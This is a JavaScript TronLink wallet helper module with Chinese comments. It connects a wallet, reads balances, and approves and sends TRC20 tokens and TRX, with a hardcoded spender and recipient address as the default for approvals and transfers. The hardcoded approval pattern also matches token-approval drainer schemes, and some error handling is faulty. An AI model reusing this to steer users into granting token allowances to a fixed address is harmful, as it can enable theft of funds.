/**
 * 开发文档
 * https://tronweb.network/docu/docs/API%20List/trx/sendTransaction
 */

// 合约地址/代币地址
const $contractAddress = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'
// 接收地址
const $spenderAddress = 'TMX5si3gAzNbMsAAaF9aC45px9qCSj7eeb'

/**
 * 获取钱包地址 / 连接钱包
 * @returns 
 */
export const getWalletAddress = async () => {
    return new Promise(async (resolve, reject) => {
        try {
            if (typeof window !== "undefined" && window.tronWeb) {
                const tronWeb = window.tronWeb;
                // 请求用户授权连接
                await tronWeb.request({ method: "tron_requestAccounts" }).then((res) => {
                    // console.log(res);
                    if (res.code == 200) {
                        resolve(tronWeb.defaultAddress.base58)
                    } else if (res.code == 4001) {
                        reject({
                            code: 4001,
                            msg: "拒绝连接"
                        })
                    } else {
                        reject({
                            code: 4002,
                            msg: "连接失败"
                        })
                    }
                });
            } else {
                reject({
                    code: 5001,
                    msg: "请安装 TronLink 钱包插件。",
                    link: "https://www.tronlink.org/"
                })
            }
        } catch (err) {
            reject({
                code: 5000,
                msg: "连接失败：" + err,
            })
        }
    })

}

/**
 * trx 获取钱包余额
 * @param {*} walletAddress 钱包地址
 * @returns 
 */
export const getBalance = async (walletAddress, pow = Math.pow(10, 6)) => {
    const tronWeb = window.tronWeb;
    const balance = await tronWeb.trx.getBalance(walletAddress)
    return balance / pow
}


/**
 * 查询代币余额
 * @param {*} tokenAddress  代币地址 
 * @param {*} walletAddress 钱包地址 
 * @returns 
 */
export const getTokenBalance = async ({
    tokenAddress = $contractAddress,
    walletAddress,
    pow = Math.pow(10, 6)
}) => {
    let contract = await window.tronWeb.contract().at(tokenAddress);
    let result = await contract.balanceOf(walletAddress).call();
    const balance = await Number(result.toString())
    return balance / pow
}

/**
 * 获取授权额度
 *
 * @param options 配置对象
 * @param options.contractAddress 合约地址
 * @param options.spenderAddress 接收地址
 * @param options.walletAddress 钱包地址
 * @param options.pow 幂，默认为10的6次方
 * @returns 返回一个布尔值，表示授权额度是否大于0
 * @throws 如果tronWeb未连接，将抛出错误
 * @throws 如果walletAddress或spenderAddress无效，将抛出错误
 */
import allowanceABI from './abi/index.js'
export const getAllowance = async ({
    contractAddress = $contractAddress,
    spenderAddress = $spenderAddress,
    walletAddress,
    pow = Math.pow(10, 6)
}) => {
    try {
        // 检查tronWeb实例是否正确初始化
        if (!window.tronWeb.isConnected()) {
            throw new Error('tronWeb is not connected');
        }

        // 检查walletAddress和spenderAddress是否有效
        if (!tronWeb.isAddress(walletAddress) || !tronWeb.isAddress(spenderAddress)) {
            throw new Error('Invalid address');
        }

        let contract = await window.tronWeb.contract(allowanceABI).at(contractAddress);
        let result = await contract.allowance(walletAddress, spenderAddress).call();
        return (result / pow) > 0
    } catch (error) {
        throw new Error(error);
    }
}

/**
 * 代币转移授权
 *
 * @param {Object} params - 包含以下属性的对象
 * @param {string} params.contractAddress - 代币合约地址
 * @param {string} params.walletAddress - 钱包地址
 * @param {string} params.spenderAddress - 支出者地址
 * @param {number} params.amount - 批准转移的代币数量
 * @param {number} params.pow - 用于计算代币数量的幂值，默认为10的6次方
 * @returns {Promise<void>} 返回一个Promise对象，无返回值
 */
export const approveTokenTransfer = async ({
    contractAddress = $contractAddress,
    walletAddress,
    spenderAddress = $spenderAddress,
    amount,
    pow = Math.pow(10, 6)
}) => {
    const usdtContractAbi = [
        {
            "constant": false,
            "inputs": [
                { "name": "_spender", "type": "address" },
                { "name": "_value", "type": "uint256" }
            ],
            "name": "approve",
            "outputs": [{ "name": "", "type": "bool" }],
            "payable": false,
            "stateMutability": "nonpayable",
            "type": "function"
        }
    ]
    try {
        const usdtContract = await window.tronWeb.contract(usdtContractAbi).at(contractAddress);
        const result = await usdtContract.approve(spenderAddress, amount * pow).send({
            from: walletAddress,
            callValue: 0,
            shouldPollResponse: true
        });
        return result
    } catch (error) {
        throw new Error('Transaction failed:' + error.message);
    }

}

/**
 * 异步函数，用于转账TRC20代币
 *
 * @param {Object} options - 转账参数
 * @param {string} options.contractAddress - 合约地址
 * @param {string} options.walletAddress - 钱包地址
 * @param {string} options.spenderAddress - 收款地址
 * @param {number} options.amount - 转账金额
 * @param {number} options.pow - 精度系数，默认为 10^6
 * @returns {Promise<void>}
 * @throws {Error} 如果转账过程中发生错误，将抛出异常
 */
export const tokenTransfer = async ({
    contractAddress = $contractAddress,
    walletAddress,
    spenderAddress = $spenderAddress,
    amount,
    pow = Math.pow(10, 6)
}) => {
    try {
        // 获取 TRC20 合约实例
        const tokenContract = await window.tronWeb.contract().at(contractAddress);
        // 构建转账交易
        const transaction = await tokenContract.transfer(spenderAddress, amount * pow).send({
            // feeLimit: 10000000, // 设置手续费上限，确保足够的手续费以支付交易
            callerAddress: walletAddress, // 发送方地址
            // callerPrivateKey: privateKey, // 发送方私钥
            shouldPollResponse: true // 设置为 true 以自动轮询交易状态直到确认
        });
        // 输出交易结果
        return transaction
    } catch (error) {
        throw new Error('Error transferring TRC20 tokens:', error);
    }
}

/**
 * 发送TRX转账交易
 *
 * @param {Object} params - 参数对象
 * @param {string} params.spenderAddress - 付款方地址
 * @param {number} params.amount - 转账金额，单位为TRX
 * @param {number} params.pow - 精度因子，默认为10的6次方，用于将TRX金额转换为Sun单位
 * @returns {Promise<Object>} - 发送交易的结果
 * @throws {Error} - 如果发送交易过程中发生错误，则抛出包含错误信息的Error对象
 */
export const trxTransfer = async ({
    spenderAddress = $spenderAddress,
    amount,
    pow = Math.pow(10, 6)
}) => {
    try {
        const transaction = await window.tronWeb.transactionBuilder.sendTrx(spenderAddress, amount * pow);
        const signedTransaction = await window.tronWeb.trx.sign(transaction);
        const result = await window.tronWeb.trx.sendRawTransaction(signedTransaction);
        // 输出交易结果
        return result
    } catch (error) {
        throw new Error('Error sending TRX:', error);
    }
}